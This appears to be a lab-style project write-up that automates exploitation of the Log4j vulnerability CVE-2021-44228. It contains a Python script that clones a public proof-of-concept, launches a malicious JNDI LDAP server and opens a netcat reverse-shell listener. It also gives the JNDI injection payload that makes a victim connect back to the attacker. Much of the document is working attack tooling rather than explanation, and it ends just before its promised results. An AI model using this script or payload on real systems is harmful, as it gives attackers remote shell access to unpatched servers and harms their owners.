Automating Log4j Exploitation using Python

Assumption:

In this project, it is assumed that the victim machine is already provisioned and actively running an application vulnerable to the Log4j vulnerability (CVE-2021-44228). The vulnerable service is assumed to be properly configured, operational, and exposed to remote code execution (RCE) attacks.
On the attacker's side, the Python script automates the setup of the attacker's machine, including initializing the malicious LDAP server and the Netcat reverse shell listener. However, the actual payload injection into the vulnerable application on the victim machine will be performed manually by the attacker. This manual step reflects real-world exploitation techniques, where attackers adapt their payload delivery methods based on the target environment.

Requirements:

Operating System:

- **Attacker machine:** Linux-based distribution (e.g., Kali Linux) is recommended for ease of access to necessary tools.
- **Victim machine:** Must be running a vulnerable application that uses Log4j with remote logging enabled.

Python Environment:

- Python 3 installed on the attacker machine.

Tools and Dependencies:

- **Netcat (nc):** Used to set up a listener on the attacker machine for reverse shell access.
- **Git:** To clone the Log4j exploit Proof-of-Concept (PoC) repository.
- **Log4j-shell-poc:** The exploit PoC from GitHub to simulate a Log4j vulnerability exploitation. This includes:
    - Cloning the repository: https://github.com/kozmer/log4j-shell-poc.git
    - Installing dependencies using: pip3 install -r requirements.txt
- **Java JDK 8:** Required by the PoC exploit to execute the malicious Java class file on the attacker machine.

Network Configuration:

- Both the attacker and victim machines must be on the same network or have reachable network access.
- Ensure that firewall rules or network security groups allow for the necessary ports:
    - **Port 8080:** Used for the web server running on the attacker machine.
    - **Port 1389:** Used by the LDAP server for the JNDI-based payload delivery.
    - **Reverse Shell Port (e.g., 9001):** This port will be used by Netcat to listen for incoming connections from the victim machine.

Permissions:

- Root or sudo privileges are required on the attacker machine to set up network listeners, clone repositories, and install dependencies.
- The attacker should have permission to inject payloads into the victim machine manually.

Script Details:

This Python script automates the process of setting up the attacker's machine and initializing key services required to exploit the Log4j vulnerability (CVE-2021-44228). The script prepares the environment by setting up a malicious LDAP server and Netcat listener for receiving a reverse shell. The actual exploitation delivering the payload to the vulnerable application is done manually by the attacker.

Key Functions and Workflow:

Setup of Attacker Machine:

- The script starts by updating the attacker's system and cloning the required repository (log4j-shell-poc) from GitHub.
- Once the repository is cloned, the necessary dependencies are installed from the requirements.txt file, ensuring that all tools are in place for the exploit.

Starting the PoC Server:

- The script launches a malicious Java Naming and Directory Interface (JNDI) LDAP server, which listens on a specified port (default is 1389). This server is responsible for responding to the vulnerable Log4j lookup requests from the victim machine with a malicious Java class, triggering the exploit.

Starting the Netcat Listener:

- After the LDAP server is set up, the script initiates a Netcat listener on a specified port (default is 9001) to wait for a reverse shell connection from the victim. This reverse shell grants the attacker remote access to the victim machine after successful exploitation.

Manual Payload Delivery:

- The payload delivery is manual in this scenario. The attacker needs to craft and inject the payload (${jndi:ldap://<attacker_ip>:<ldap_port>/a}) into the vulnerable application on the victim machine.
- Once the payload is injected, the victim's vulnerable Log4j implementation reaches out to the attacker's LDAP server, executing the malicious Java class and opening the reverse shell.

Continuous Execution:

- The script remains running in an infinite loop to ensure that the services stay alive and await the reverse shell connection. This allows the attacker ample time to inject the payload manually and exploit the vulnerability.

Flow of Execution:

1. **Set Up Attacker Environment:** The script prepares the attacker machine by installing the necessary dependencies and cloning the required exploit repository.
2. **Start PoC Server and Listener:** The LDAP server is started, and a Netcat listener is opened on the attacker machine.
3. **Manual Exploitation:** The attacker manually injects the crafted payload into the victim's vulnerable application.
4. **Reverse Shell:** After successful exploitation, the victim connects back to the attacker, and a reverse shell is established, granting the attacker remote access to the victim machine.

Python Script:

```
import os
import subprocess
import time

# Define the IP addresses and ports
attacker_ip = "192.168.34.147"
web_port = 8080
ldap_port = 1389
reverse_shell_port = 9001

# Set Up the Attacker Machine Environment
def setup_attacker():
   try:
       print("Setting up the attacker machine...")
```

```
        commands = [
            "sudo apt update",
            "sudo git clone https://github.com/kozmer/log4j-shell-poc.git",
            "sudo mv jdk1.8.0_20/ /home/attacker/log4j-shell-poc",
            "cd log4j-shell-poc && pip3 install -r requirements.txt"
        ]
        for cmd in commands:
            subprocess.run(cmd, shell=True, check=True)
        print("Attacker machine setup complete.")
    except subprocess.CalledProcessError as e:
        print(f"Failed to set up attacker machine: {e}")

# Start the PoC Server
def start_poc_server():
    try:
                subprocess.Popen(['python3', 'poc.py', '--userip', attacker_ip,
'--webport',       str(web_port),       '--lport',       str(reverse_shell_port)],
cwd='/home/attacker/log4j-shell-poc')
        print(f"PoC server started on {attacker_ip}:{web_port} and {ldap_port}")
    except Exception as e:
        print(f"Failed to start PoC server: {e}")

# Start the Netcat Listener
def start_nc_listener():
    try:
        subprocess.Popen(['nc', '-lvnp', str(reverse_shell_port)])
          print(f"Netcat listener started on port {reverse_shell_port}. Waiting
for manual payload injection.")
    except Exception as e:
        print(f"Failed to start Netcat listener: {e}")

if __name__ == "__main__":
    # Set up the environment on both machines
    setup_attacker()

    # Wait a few seconds to ensure everything is ready
    time.sleep(10)
```

```
# Start the PoC server and Netcat listener
start_poc_server()
time.sleep(5)
start_nc_listener()

# Keep the script running indefinitely
try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    print("Exploitation terminated by user.")
```

Successful Execution of the Script: